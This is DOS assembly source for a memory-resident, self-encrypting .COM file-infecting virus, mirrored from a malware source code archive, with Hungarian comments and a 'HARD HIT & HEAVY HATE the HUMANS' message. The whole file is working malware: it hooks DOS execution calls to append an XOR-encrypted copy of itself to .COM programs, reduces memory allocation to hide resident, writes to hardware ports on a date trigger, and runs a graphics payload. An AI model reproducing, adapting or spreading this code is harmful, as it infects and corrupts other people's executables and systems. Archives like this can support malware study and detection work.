mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-20 18:36:10 +00:00
4b9382ddbc
push
896 lines
30 KiB
NASM
896 lines
30 KiB
NASM
CODE segment para public 'code'
|
||
assume cs:code,ds:code,es:nothing,ss:nothing
|
||
|
||
org 100h
|
||
|
||
egy equ 1 ; one
|
||
dma equ 0b0h
|
||
atvar equ 300 ; at paramaeter
|
||
xtvar equ 1 ; xt parameter
|
||
suruseg equ 255 ; density
|
||
idotartalek equ 18*30 ; time delay
|
||
|
||
start: db 0e9h,0,0
|
||
;##################### Initialization ######################
|
||
resid: push ax
|
||
mov cx,offset memory - offset begin ;#### decoding ####
|
||
mov bx,ds:[101h]
|
||
add bx,103h+(offset begin-offset resid)
|
||
jhg1: xor byte ptr [bx],0
|
||
inc bx
|
||
loop jhg1
|
||
|
||
begin: sub bx,(offset begin-offset resid)+(offset memory - offset begin)
|
||
mov cs:[0feh],bx
|
||
mov ax,[bx+(offset eltarol-offset resid)]
|
||
mov cl,[bx+(offset eltarol-offset resid)+2]
|
||
mov ds:[100h],ax
|
||
mov ds:[102h],cl
|
||
mov cx,0b800h
|
||
mov ah,15
|
||
push bx
|
||
int 10h
|
||
pop bx
|
||
cmp al,7
|
||
jne rety
|
||
mov ch,0b0h
|
||
rety: mov [bx+(offset ruut - offset resid)+1],cx
|
||
mov word ptr [bx+(offset counter-offset resid)],idotartalek
|
||
mov byte ptr [bx+(offset jammed-offset resid)+1],al
|
||
mov byte ptr [bx+(offset vanesik-offset resid)],0
|
||
xor ax,ax
|
||
mov ds,ax
|
||
cmp word ptr ds:[130h],4142h
|
||
je zipp
|
||
mov ds:[130h],4142h
|
||
mov ax,cs
|
||
dec ax
|
||
mov ds,ax
|
||
mov ax,ds:[3]
|
||
sub ax,180h
|
||
mov ds:[3],ax
|
||
add ax,ds:[1]
|
||
mov es,ax
|
||
push cs
|
||
pop ds
|
||
sub word ptr ds:[2],384
|
||
mov di,3
|
||
mov si,bx
|
||
mov cx,(offset memory-offset resid) shr 1 +1
|
||
cld
|
||
rep movsw
|
||
mov ax,es
|
||
sub ax,10h
|
||
mov ds,ax
|
||
mov dx,offset irq
|
||
mov ax,251ch
|
||
int 21h
|
||
mov ah,2ah
|
||
int 21h
|
||
cmp al,1
|
||
jne zipp
|
||
dec al
|
||
out 0a0h,al
|
||
mov al,dma
|
||
out 41h,al
|
||
zipp:
|
||
mov ax,cs
|
||
mov ds,ax
|
||
mov es,ax
|
||
pop ax
|
||
push cs
|
||
mov cx,100h
|
||
push cx
|
||
mov cx,ds:[0feh]
|
||
sub cx,100h
|
||
retf
|
||
eltarol dw 20cdh
|
||
eltarol2 db 90h
|
||
|
||
;######################### Vyrus activated ##########################
|
||
csik: mov ax,0e000h
|
||
mov ds,ax
|
||
csiky: mov ds:[0],al
|
||
inc al
|
||
jmp csiky
|
||
|
||
;######################### propagation part ##########################
|
||
|
||
eredeti: db 0eah ; original
|
||
int211 dw 0
|
||
int212 dw 0
|
||
counter dw 0
|
||
szaporodas: cmp ah,4bh
|
||
jne eredeti
|
||
or al,al
|
||
jnz eredeti
|
||
push ax
|
||
push es
|
||
push bx
|
||
push ds
|
||
push dx
|
||
mov bx,dx
|
||
koj: inc bx
|
||
cmp byte ptr [bx],'.'
|
||
jne koj
|
||
cmp byte ptr[bx+1],'C'
|
||
jne kiugras1
|
||
mov cs:kds,ds
|
||
mov cs:kdx,dx
|
||
mov cs:kbx,bx
|
||
call probe
|
||
kiugras1: pop dx
|
||
pop ds
|
||
pop bx
|
||
pop es
|
||
pop ax
|
||
jmp eredeti
|
||
kds dw 0
|
||
kdx dw 0
|
||
kbx dw 0
|
||
kkk dw 0
|
||
fszam dw 0
|
||
probe: push cs
|
||
pop es
|
||
mov di,offset memory
|
||
mov si,dx
|
||
mov cx,40
|
||
cld
|
||
rep movsw
|
||
mov bx,0ff0h
|
||
mov ah,48h
|
||
int 21h
|
||
jnc juk1
|
||
ret
|
||
;!!!!! memoria lefoglalva (kkk = Seg)
|
||
atr dw 0
|
||
juk1: mov cs:kkk,ax
|
||
mov dx,offset memory
|
||
push ds
|
||
pop es
|
||
mov bx,cs:kbx
|
||
mov byte ptr [bx+1],'A' ;<3B>
|
||
call elorutin
|
||
push cs
|
||
pop ds ;DS:DX a masolt nev.
|
||
mov ax,4300h
|
||
int 21h
|
||
mov atr,cx
|
||
xor cx,cx
|
||
mov ax,4301h
|
||
int 21h
|
||
;!!!!! Attr allitas
|
||
cmp cs:attrflag,0
|
||
jz juk2
|
||
mov ds,cs:kds
|
||
jmp memoff
|
||
juk2: mov di,kdx ;ES:DI a regi nev atirva
|
||
mov ah,56h
|
||
int 21h
|
||
call utorutin ;!!!!! Atnevezve
|
||
mov dx,cs:kdx
|
||
push es
|
||
pop ds
|
||
mov ax,3d02h
|
||
int 21h ;!!!!! File megnyitva
|
||
mov cs:fszam,ax
|
||
mov ds,cs:kkk
|
||
xor dx,dx
|
||
mov bx,ax
|
||
mov cx,0fc00h-(offset memory-offset resid)
|
||
mov ah,3fh
|
||
int 21h
|
||
cmp ax,0fc00h-(offset memory-offset resid)
|
||
;!!!!! Beolvasva a program (csak a hossza miatt)
|
||
je hosszu ;zarjuk le a file-t
|
||
cmp ax,7580
|
||
jb hosszu ;tul rovid a file
|
||
mov di,ax
|
||
|
||
mov bx,ds:[1]
|
||
cmp word ptr [bx+3],0b950h
|
||
|
||
;$$$$$$$$$$$$$$$$$$$$$$$$$ FUCK OFF TASM,MASM $$$$$$$$$$$$$$$$$$$$$$$$$$$
|
||
|
||
je hosszu
|
||
push di
|
||
mov cx,(offset memory-offset resid)
|
||
mov si,offset resid
|
||
push ds
|
||
pop es
|
||
push cs
|
||
pop ds
|
||
inc byte ptr ds:[offset jhg1 +2]
|
||
mov ax,es:[0]
|
||
mov eltarol,ax
|
||
mov al,es:[2]
|
||
mov eltarol2,al
|
||
rep movsw ;!!!!! Atmasolva (hehe)
|
||
mov al,byte ptr ds:[offset jhg1 +2]
|
||
pop di
|
||
add di,(offset begin-offset resid)
|
||
mov cx,offset memory - offset begin ;#### coding ####
|
||
jhga: xor byte ptr es:[di],al
|
||
inc di
|
||
loop jhga
|
||
sub di,(offset memory - offset resid)
|
||
push di ;Az ugrasi hely
|
||
mov bx,fszam
|
||
mov cx,offset memory - offset begin
|
||
mov dx,di
|
||
push es
|
||
pop ds
|
||
mov ah,40h
|
||
int 21h
|
||
pop di
|
||
cmp ax,offset memory - offset begin
|
||
je ghj1
|
||
hosszu: jmp zardle
|
||
ghj1: ;!!!!! Kiirva a vege
|
||
mov byte ptr ds:[0],0e9h
|
||
sub di,3
|
||
mov ds:[1],di
|
||
mov bx,cs:fszam
|
||
xor cx,cx
|
||
xor dx,dx
|
||
mov ax,4200h
|
||
push bx
|
||
int 21h
|
||
pop bx
|
||
mov cx,3
|
||
xor dx,dx
|
||
mov ah,40h
|
||
int 21h
|
||
zardle: mov bx,cs:fszam
|
||
mov ah,3eh
|
||
int 21h ;!!!!! File lezarva
|
||
push cs
|
||
pop es
|
||
mov di,offset memory
|
||
mov ds,cs:kds
|
||
mov dx,cs:kdx
|
||
mov ah,56h
|
||
int 21h ;!!!!! File visszanevezve
|
||
mov bx,cs:kbx
|
||
mov byte ptr ds:[bx+1],'C'
|
||
mov ax,4301h
|
||
mov cx,cs:atr
|
||
int 21h ;!!!!! attr visszaall
|
||
memoff: mov bx,cs:kbx
|
||
mov byte ptr ds:[bx+1],'C'
|
||
push cs
|
||
pop ds
|
||
mov es,cs:kkk
|
||
mov ah,49h
|
||
int 21h ;!!!!! Memoria visszaalt
|
||
ret
|
||
it241 dw 0
|
||
it242 dw 0
|
||
attrflag db 0
|
||
|
||
elorutin: mov cs:attrflag,0
|
||
xor ax,ax
|
||
mov ds,ax
|
||
mov ax,ds:[90h]
|
||
mov cs:it241,ax
|
||
mov ax,ds:[92h]
|
||
mov cs:it242,ax
|
||
mov ds:[90h],offset it24
|
||
mov ds:[92h],cs
|
||
ret
|
||
|
||
utorutin: xor ax,ax
|
||
mov ds,ax
|
||
mov ax,cs:it241
|
||
mov ds:[90h],ax
|
||
mov ax,cs:it242
|
||
mov ds:[92h],ax
|
||
ret
|
||
it24: mov cs:attrflag,1
|
||
xor al,al
|
||
iret
|
||
vanesik db 0
|
||
irq: cli
|
||
push ds
|
||
push es
|
||
push ax
|
||
push bx
|
||
push cx
|
||
push dx
|
||
push si
|
||
push di
|
||
cmp cs:counter,0
|
||
je sabad
|
||
dec cs:counter
|
||
jne sabad
|
||
xor ax,ax
|
||
mov ds,ax
|
||
mov ax,ds:[84h]
|
||
mov cs:int211,ax
|
||
mov ax,ds:[86h]
|
||
mov cs:int212,ax
|
||
mov ds:[84h],offset szaporodas
|
||
mov ds:[86h],cs
|
||
sabad: cmp cs:vanesik,0
|
||
je keress
|
||
call idovan
|
||
jmp jumper
|
||
keress: call ruut
|
||
jumper: pop di
|
||
pop si
|
||
pop dx
|
||
pop cx
|
||
pop bx
|
||
pop ax
|
||
pop es
|
||
pop ds
|
||
iret
|
||
|
||
idovan: xor ah,ah
|
||
int 1ah
|
||
and dx,suruseg
|
||
jne rutyi
|
||
call action
|
||
rutyi: ret
|
||
|
||
|
||
ruut: mov ax,0b800h
|
||
mov es,ax
|
||
mov di,cs:did
|
||
mov cx,512
|
||
cld
|
||
poke: jcxz huy
|
||
mov al,'E'
|
||
repnz scasb
|
||
jz talalt
|
||
huy: cmp di,4095
|
||
jb kisebb
|
||
mov cs:did,0
|
||
ret
|
||
kisebb: add cs:did,512
|
||
ret
|
||
did dw 0
|
||
talalt: test di,1
|
||
jz poke
|
||
mov dl,es:[di+1]
|
||
mov dh,es:[di+3]
|
||
or dx,2020h
|
||
cmp dx,6973h ;'is'
|
||
jne poke
|
||
mov bl,es:[di+5]
|
||
or bl,20h
|
||
cmp bl,'k'
|
||
jne poke
|
||
mov cs:vanesik,1
|
||
jmp huy
|
||
action: mov ax,cs
|
||
mov ds,ax
|
||
mov es,ax
|
||
mov vanesik,0
|
||
mov pontszam,1
|
||
mov si,offset zizi
|
||
mov di,offset novi
|
||
cld
|
||
mov cx,6
|
||
rep movsw
|
||
call zoldseg
|
||
jammed: mov ax,3
|
||
int 10h
|
||
cmp counterr,atvar
|
||
jne fdr
|
||
push cs
|
||
pop es
|
||
lea bx,mess
|
||
mov ax,1301h
|
||
mov bx,1
|
||
xor dx,dx
|
||
mov cx,offset drt-offset mess
|
||
int 10h
|
||
fdr: ret
|
||
|
||
counterr dw 0
|
||
zoldseg: cli
|
||
mov di,offset memory
|
||
xor ax,ax
|
||
cld
|
||
mov cx,200*3
|
||
rep stosw
|
||
mov ah,0c0h
|
||
mov si,3333h
|
||
int 15h
|
||
cmp si,3333h
|
||
mov ax,xtvar
|
||
je xt
|
||
mov ax,atvar
|
||
xt: mov counterr,ax
|
||
mov ax,3502h
|
||
int 21h
|
||
cmp bx,0e9eh
|
||
jne ibm
|
||
call init1
|
||
mov pontm,100
|
||
mov port,22h
|
||
jmp entry
|
||
ibm: ;Ibm bulik
|
||
mov pontm,200
|
||
mov al,70h
|
||
mov port,60h ;%
|
||
mov ah,15
|
||
int 10h
|
||
cmp al,7
|
||
jne cga
|
||
call init3
|
||
jmp entry
|
||
cga: call init2
|
||
jmp entry
|
||
port dw 22h
|
||
pontm dw 100
|
||
|
||
init1: mov ax,200h
|
||
mov es,ax
|
||
xor di,di
|
||
mov cx,4000h
|
||
cld
|
||
xor ax,ax
|
||
rep stosw
|
||
mov plotdw,offset plot
|
||
mov unplotdw,offset unplot
|
||
ret
|
||
init2: mov ax,0b800h
|
||
mov es,ax
|
||
mov ax,6
|
||
int 10h
|
||
mov plotdw,offset plotcga
|
||
mov unplotdw,offset unplotcga
|
||
ret
|
||
init3: mov ax,0b000h
|
||
mov es,ax
|
||
call prog
|
||
mov plotdw,offset plotherc
|
||
mov unplotdw,offset unplotcga
|
||
ret
|
||
prog: mov dx,3bfh
|
||
mov al,3
|
||
out dx,al
|
||
mov al,28h
|
||
mov dx,3b8h
|
||
out dx,al
|
||
mov ah,0
|
||
mov cx,12
|
||
lea bx,ports
|
||
lopi1: mov dx,03b4h
|
||
mov al,ah
|
||
out dx,al
|
||
inc ah
|
||
mov dx,03b5h
|
||
mov al,[bx]
|
||
out dx,al
|
||
inc bx
|
||
loop lopi1
|
||
|
||
mov dx,3bfh
|
||
mov al,3
|
||
out dx,al
|
||
mov dx,3b8h
|
||
mov al,0ah
|
||
out dx,al
|
||
xor di,di
|
||
mov cx,4000h
|
||
xor ax,ax
|
||
cld
|
||
rep stosw
|
||
ret
|
||
|
||
ports db 35h,2dh,2eh,7,5bh,2,57h,57h,2,3,0,0
|
||
|
||
;**************************** Forgatorutin ************************************
|
||
|
||
even
|
||
sina dw 0
|
||
cosa dw 0 ;si-t meghagyja
|
||
sinb dw 0
|
||
cosb dw 0
|
||
pontszam dw 1
|
||
transzform: ;be: di=X, bx=Y, cx=Z, SINA,COSA,SINB,COSB
|
||
; add bx,ytol ;ez itt jolesz
|
||
shl di,1
|
||
shl bx,1 ;X es Y elokeszitese a szorzashoz
|
||
mov ax,di
|
||
imul cosa
|
||
mov bp,dx
|
||
mov ax,bx
|
||
imul sina
|
||
add bp,dx ; bp=X' = cosa*X + sina*Y
|
||
mov ax,bx
|
||
imul cosa
|
||
mov bx,dx
|
||
mov ax,di
|
||
imul sina
|
||
sub bx,dx ; bx=Y' = cosa*X - sina*Y
|
||
shl bp,1
|
||
shl cx,1 ;X' es Z elokeszitese
|
||
mov ax,bp
|
||
imul cosb
|
||
mov di,dx
|
||
mov ax,cx
|
||
imul sinb
|
||
sub di,dx ; di=X'' = cosb*X' - sinb*Z
|
||
mov cx,di
|
||
mov ax,bx
|
||
ret
|
||
|
||
comment @
|
||
mov ax,cx
|
||
imul cosb
|
||
mov cx,dx
|
||
mov ax,bp
|
||
imul sinb
|
||
add cx,dx ; cx=Z'' = cosb*Z = sinb*X'
|
||
|
||
; out: di=X'' bx=Y'' cx=Z''
|
||
mov dx,keptav
|
||
;****************************** PERSPEKTIVA **********************************
|
||
mov ax,di
|
||
shl ax,1
|
||
imul tavol
|
||
mov cx,dx
|
||
mov ax,bx
|
||
shl ax,1
|
||
imul tavol
|
||
mov ax,dx
|
||
ret ; ki : CX=X' AX=Y'
|
||
|
||
@
|
||
|
||
plotherc: ; al=y cx=x
|
||
xor ah,ah
|
||
mov dx,ax
|
||
shr dx,1
|
||
add ax,dx
|
||
mov dx,cx
|
||
mov cl,al
|
||
and cl,3
|
||
shr ax,1
|
||
shr al,1
|
||
mov di,2000h
|
||
shl di,cl
|
||
mov cl,90
|
||
mul cl
|
||
add di,ax
|
||
mov ax,dx
|
||
mov cx,dx
|
||
jmp ezisi
|
||
plotcga: xor di,di
|
||
shr ax,1
|
||
jnc tryp
|
||
mov di,2000h
|
||
tryp: mov dl,80
|
||
mul dl
|
||
add di,ax
|
||
mov ax,cx
|
||
ezisi: shr ax,1
|
||
shr ax,1
|
||
shr ax,1
|
||
add di,ax
|
||
and cl,7
|
||
mov al,128
|
||
shr al,cl
|
||
or es:[di],al
|
||
jmp ezis1
|
||
|
||
unplotcga: mov al,[bx]
|
||
mov di,[bx+1]
|
||
xor al,255
|
||
and es:[di],al
|
||
ret
|
||
|
||
plot: ;AL = y koord. cx = x koord.
|
||
mov dl,160
|
||
mul dl
|
||
mov di,ax
|
||
mov ax,cx
|
||
shr ax,1
|
||
shr ax,1
|
||
add di,ax
|
||
and di,-2
|
||
and cl,7
|
||
mov al,128
|
||
shr al,cl
|
||
or es:[di+egy],al
|
||
ezis1: mov [bx],al
|
||
inc bx
|
||
mov [bx],di
|
||
add bx,2
|
||
ret
|
||
unplot: mov al,[bx]
|
||
mov di,[bx+1]
|
||
xor al,255
|
||
and es:[di+egy],al
|
||
ret
|
||
kezdfazisrajz: mov bx,offset memory
|
||
mov si,offset gombdata
|
||
mov cx,pontszam
|
||
ck1: push cx
|
||
lodsw
|
||
mov cx,ax
|
||
shl cx,1
|
||
add cx,320
|
||
lodsw
|
||
add si,2
|
||
add ax,50
|
||
call word ptr [plotdw]
|
||
pop cx
|
||
loop ck1
|
||
ret
|
||
indy db 0
|
||
|
||
fazisrajz: mov bx,offset memory
|
||
mov si,offset gombdata
|
||
mov cx,pontszam
|
||
mov indy,1
|
||
ck12: push cx
|
||
call word ptr [unplotdw]
|
||
push bx
|
||
lodsw
|
||
mov di,ax
|
||
lodsw
|
||
mov bx,ax
|
||
lodsw
|
||
mov cx,ax
|
||
call transzform
|
||
pop bx
|
||
add ax,50
|
||
mov di,bxpo
|
||
add al,[di]
|
||
shl cx,1
|
||
add cx,bxpo2
|
||
cmp indy,0
|
||
je ruty
|
||
mov indy,0
|
||
cmp karal2,0
|
||
jne ruty
|
||
push cx
|
||
push ax
|
||
inc cx
|
||
call word ptr [plotdw]
|
||
pop ax
|
||
pop cx
|
||
sub bx,3
|
||
ruty: call word ptr [plotdw]
|
||
pop cx
|
||
loop ck12
|
||
ret
|
||
|
||
novpont: mov ax,pontm
|
||
cmp pontszam,ax
|
||
je trew
|
||
mov cx,pontm
|
||
sub cx,pontszam
|
||
mov ch,cl
|
||
shR cx,1
|
||
shr cx,1
|
||
yut: loop yut
|
||
inc pontszam
|
||
ret
|
||
trew: call movie
|
||
mov bx,bxpo
|
||
cmp bx,offset patt
|
||
je valto
|
||
cmp bx,offset patt+29
|
||
je valto
|
||
iuy: add bx,novi
|
||
mov bxpo,bx
|
||
ret
|
||
valto: neg novi
|
||
jmp iuy
|
||
novi dw -1
|
||
bxpo dw offset patt
|
||
bxpo2 dw 320
|
||
novi2 dw 4
|
||
karal dw 300
|
||
karal2 dw 600
|
||
zizi dw -1,offset patt,320,4,300,600
|
||
movie: cmp karal,0
|
||
je jesty
|
||
dec karal
|
||
ret
|
||
jesty: cmp karal2,0
|
||
je jesty2
|
||
dec karal2
|
||
jesty2: mov bx,bxpo2
|
||
cmp bx,100
|
||
je valto2
|
||
cmp bx,540
|
||
je valto2
|
||
iuy2: add bx,novi2
|
||
mov bxpo2,bx
|
||
ret
|
||
valto2: neg novi2
|
||
jmp iuy2
|
||
elokesz: call novpont
|
||
mov bl,szogx
|
||
xor bh,bh
|
||
shl bx,1
|
||
mov ax,sintabl[bx]
|
||
mov sina,ax
|
||
mov ax,costabl[bx]
|
||
mov cosa,ax
|
||
mov bl,szogy
|
||
xor bh,bh
|
||
shl bx,1
|
||
mov ax,sintabl[bx]
|
||
mov sinb,ax
|
||
mov ax,costabl[bx]
|
||
mov cosb,ax
|
||
mov al,szogxvalt
|
||
add szogx,al
|
||
mov al,szogyvalt
|
||
add szogy,al
|
||
ret
|
||
even
|
||
szogx db 0
|
||
szogy db 0
|
||
szogxvalt db 2
|
||
szogyvalt db 5
|
||
tavol dw 32767
|
||
|
||
phase: call elokesz
|
||
call fazisrajz
|
||
ret
|
||
entry: call kezdfazisrajz
|
||
rajta1: call phase
|
||
cmp pontm,100
|
||
je apc
|
||
cmp byte ptr ds:[offset ruut +2],0b8h
|
||
je ccggaa
|
||
mov cx,counterr
|
||
mov dx,3bah
|
||
qaz1: in al,dx
|
||
and al,1
|
||
jnz qaz1
|
||
qaz2: in al,dx
|
||
and al,1
|
||
jz qaz2
|
||
loop qaz1
|
||
jmp apc
|
||
ccggaa: mov dx,3dah
|
||
qaz3: in al,dx
|
||
and al,8
|
||
jnz qaz3
|
||
qaz4: in al,dx
|
||
and al,8
|
||
jz qaz4
|
||
apc: mov dx,port
|
||
in al,dx
|
||
and al,1
|
||
jz rajta1
|
||
ret
|
||
even
|
||
plotdw dw 0
|
||
unplotdw dw 0
|
||
|
||
sintabl dw 0, 804, 1608, 2410, 3212, 4011, 4808, 5602, 6393
|
||
dw 7179, 7962, 8739, 9512, 10278, 11039, 11793, 12539, 13279
|
||
dw 14010, 14732, 15446, 16151, 16846, 17530, 18204, 18868, 19519
|
||
dw 20159, 20787, 21403, 22005, 22594, 23170, 23731, 24279, 24811
|
||
dw 25329, 25832, 26319, 26790, 27245, 27683, 28105, 28510, 28898
|
||
dw 29268, 29621, 29956, 30273, 30571, 30852, 31113, 31356, 31580
|
||
dw 31785, 31971, 32137, 32285, 32412, 32521, 32609, 32678, 32728
|
||
dw 32757, 32767, 32757, 32728, 32678, 32609, 32521, 32412, 32285
|
||
dw 32137, 31971, 31785, 31580, 31356, 31113, 30852, 30571, 30273
|
||
dw 29956, 29621, 29268, 28898, 28510, 28105, 27683, 27245, 26790
|
||
dw 26319, 25832, 25329, 24811, 24279, 23731, 23170, 22594, 22005
|
||
dw 21403, 20787, 20159, 19519, 18868, 18204, 17530, 16846, 16151
|
||
dw 15446, 14732, 14010, 13279, 12539, 11793, 11039, 10278, 9512
|
||
dw 8739, 7962, 7179, 6393, 5602, 4808, 4011, 3212, 2410
|
||
dw 1608, 804, 0, -804, -1608, -2410, -3212, -4011, -4808
|
||
dw -5602, -6393, -7179, -7962, -8739, -9512,-10278,-11039,-11793
|
||
dw -12539,-13279,-14010,-14732,-15446,-16151,-16846,-17530,-18204
|
||
dw -18868,-19519,-20159,-20787,-21403,-22005,-22594,-23170,-23731
|
||
dw -24279,-24811,-25329,-25832,-26319,-26790,-27245,-27683,-28105
|
||
dw -28510,-28898,-29268,-29621,-29956,-30273,-30571,-30852,-31113
|
||
dw -31356,-31580,-31785,-31971,-32137,-32285,-32412,-32521,-32609
|
||
dw -32678,-32728,-32757,-32767,-32757,-32728,-32678,-32609,-32521
|
||
dw -32412,-32285,-32137,-31971,-31785,-31580,-31356,-31113,-30852
|
||
dw -30571,-30273,-29956,-29621,-29268,-28898,-28510,-28105,-27683
|
||
dw -27245,-26790,-26319,-25832,-25329,-24811,-24279,-23731,-23170
|
||
dw -22594,-22005,-21403,-20787,-20159,-19519,-18868,-18204,-17530
|
||
dw -16846,-16151,-15446,-14732,-14010,-13279,-12539,-11793,-11039
|
||
dw -10278, -9512, -8739, -7962, -7179, -6393, -5602, -4808, -4011
|
||
dw -3212, -2410, -1608, -804
|
||
costabl dw 32767, 32757, 32728, 32678, 32609, 32521, 32412, 32285
|
||
dw 32137, 31971, 31785, 31580, 31356, 31113, 30852, 30571
|
||
dw 30273, 29956, 29621, 29268, 28898, 28510, 28105, 27683
|
||
dw 27245, 26790, 26319, 25832, 25329, 24811, 24279, 23731
|
||
dw 23170, 22594, 22005, 21403, 20787, 20159, 19519, 18868
|
||
dw 18204, 17530, 16846, 16151, 15446, 14732, 14010, 13279
|
||
dw 12539, 11793, 11039, 10278, 9512, 8739, 7962, 7179
|
||
dw 6393, 5602, 4808, 4011, 3212, 2410, 1608, 804
|
||
dw 0, -804, -1608, -2410, -3212, -4011, -4808, -5602
|
||
dw -6393, -7179, -7962, -8739, -9512,-10278,-11039,-11793
|
||
dw -12539, -13279,-14010,-14732,-15446,-16151,-16846,-17530
|
||
dw -18204, -18868,-19519,-20159,-20787,-21403,-22005,-22594
|
||
dw -23170, -23731,-24279,-24811,-25329,-25832,-26319,-26790
|
||
dw -27245, -27683,-28105,-28510,-28898,-29268,-29621,-29956
|
||
dw -30273, -30571,-30852,-31113,-31356,-31580,-31785,-31971
|
||
dw -32137, -32285,-32412,-32521,-32609,-32678,-32728,-32757
|
||
dw -32767, -32757,-32728,-32678,-32609,-32521,-32412,-32285
|
||
dw -32137, -31971,-31785,-31580,-31356,-31113,-30852,-30571
|
||
dw -30273, -29956,-29621,-29268,-28898,-28510,-28105,-27683
|
||
dw -27245, -26790,-26319,-25832,-25329,-24811,-24279,-23731
|
||
dw -23170, -22594,-22005,-21403,-20787,-20159,-19519,-18868
|
||
dw -18204, -17530,-16846,-16151,-15446,-14732,-14010,-13279
|
||
dw -12539, -11793,-11039,-10278, -9512, -8739, -7962, -7179
|
||
dw -6393, -5602, -4808, -4011, -3212, -2410, -1608, -804
|
||
dw 0, 804, 1608, 2410, 3212, 4011, 4808, 5602
|
||
dw 6393, 7179, 7962, 8739, 9512, 10278, 11039, 11793
|
||
dw 12539, 13279, 14010, 14732, 15446, 16151, 16846, 17530
|
||
dw 18204, 18868, 19519, 20159, 20787, 21403, 22005, 22594
|
||
dw 23170, 23731, 24279, 24811, 25329, 25832, 26319, 26790
|
||
dw 27245, 27683, 28105, 28510, 28898, 29268, 29621, 29956
|
||
dw 30273, 30571, 30852, 31113, 31356, 31580, 31785, 31971
|
||
dw 32137, 32285, 32412, 32521, 32609, 32678, 32728, 32757
|
||
gombdata:
|
||
DW 44, 3, 22, 29, 6, 40, 7, 9, 48,-14, 12, 46
|
||
DW -33, 15, 33,-44, 18, 14,-44, 21, -7,-35, 24,-25
|
||
DW -19, 26,-37, 0, 29,-40, 17, 31,-34, 29, 34,-21
|
||
DW 33, 36, -5, 30, 38, 9, 20, 40, 20, 8, 42, 25
|
||
DW -3, 43, 23,-12, 45, 17,-16, 46, 8,-15, 47, 0
|
||
DW -11, 48, -5, -5, 49, -7, 0, 49, -6, 0, 49, -2
|
||
DW 0, 49, 0, -2, 49, 0, -6, 49, 0, -7, 49, -5
|
||
DW -5, 48,-11, 0, 47,-15, 8, 46,-16, 17, 45,-12
|
||
DW 23, 43, -3, 25, 42, 8, 20, 40, 20, 9, 38, 30
|
||
DW -5, 36, 33,-21, 34, 29,-34, 31, 17,-40, 29, 0
|
||
DW -37,26,-19,-25,24,-35,-7,21,-44,14,18,-44
|
||
DW 33,15,-33,46,12,-14,48,9,7,40,6,29
|
||
DW 22,3,44,0,0,49,-22,-3,44,-40,-6,29
|
||
DW -48,-9,7,-46,-12,-14,-33,-15,-33,-14,-18,-44
|
||
DW 7,-21,-44,25,-24,-35,37,-26,-19,40,-29,0
|
||
DW 34,-31,17,21,-34,29,5,-36,33,-9,-38,30
|
||
DW -20,-40,20,-25,-42,8,-23,-43,-3,-17,-45,-12
|
||
DW -8,-46,-16,0,-47,-15,5,-48,-11,7,-49,-5
|
||
DW 6,-49,0,2,-49,0,0,-49,0,0,-49,-2
|
||
DW 0,-49,-6,5,-49,-7,11,-48,-5,15,-47,0
|
||
DW 16,-46,8,12,-45,17,3,-43,23,-8,-42,25
|
||
DW -20,-40,20,-30,-38,9,-33,-36,-5,-29,-34,-21
|
||
DW -17,-31,-34,0,-29,-40,19,-26,-37,35,-24,-25
|
||
DW 44,-21,-7,44,-18,14,33,-15,33,14,-12,46
|
||
DW -7,-9,48,-29,-6,40,-44,-3,22,-49,0,0
|
||
DW -44,3,-22,-29,6,-40,-7,9,-48,14,12,-46
|
||
DW 33,15,-33,44,18,-14,44,21,7,35,24,25
|
||
DW 19,26,37,0,29,40,-17,31,34,-29,34,21
|
||
DW -33,36,5,-30,38,-9,-20,40,-20,-8,42,-25
|
||
DW 3,43,-23,12,45,-17,16,46,-8,15,47,0
|
||
DW 11,48,5,5,49,7,0,49,6,0,49,2
|
||
DW 0,49,0,2,49,0,6,49,0,7,49,5
|
||
DW 5,48,11,0,47,15,-8,46,16,-17,45,12
|
||
DW -23,43,3,-25,42,-8,-20,40,-20,-9,38,-30
|
||
DW 5,36,-33,21,34,-29,34,31,-17,40,29,0
|
||
DW 37,26,19,25,24,35,7,21,44,-14,18,44
|
||
DW -33,15,33,-46,12,14,-48,9,-7,-40,6,-29
|
||
DW -22,3,-44,0,0,-49,22,-3,-44,40,-6,-29
|
||
DW 48,-9,-7,46,-12,14,33,-15,33,14,-18,44
|
||
DW -7,-21,44,-25,-24,35,-37,-26,19,-40,-29,0
|
||
DW -34,-31,-17,-21,-34,-29,-5,-36,-33,9,-38,-30
|
||
DW 20,-40,-20,25,-42,-8,23,-43,3,17,-45,12
|
||
DW 8,-46,16,0,-47,15,-5,-48,11,-7,-49,5
|
||
DW -6,-49,0,-2,-49,0,0,-49,0,0,-49,2
|
||
DW 0,-49,6,-5,-49,7,-11,-48,5,-15,-47,0
|
||
DW -16,-46,-8,-12,-45,-17,-3,-43,-23,8,-42,-25
|
||
DW 20,-40,-20,30,-38,-9,33,-36,5,29,-34,21
|
||
DW 17,-31,34,0,-29,40,-19,-26,37,-35,-24,25
|
||
DW -44,-21,7,-44,-18,-14,-33,-15,-33,-14,-12,-46
|
||
DW 7,-9,-48,29,-6,-40,44,-3,-22,49,0,0
|
||
patt: DB 0, 0, 0, 0, 0, 1, 1, 2, 4, 5, 7, 9,11,14,17,20,23,27
|
||
db 31,35,40,45,50,56,61,67,73,80,86,93
|
||
|
||
|
||
|
||
mess db 'HARD HIT & HEAVY HATE the HUMANS !!'
|
||
db ' [ H.H.& H.H. the H. ] '
|
||
drt dw 5 dup (0)
|
||
memory:
|
||
CODE ENDS
|
||
|
||
END START
|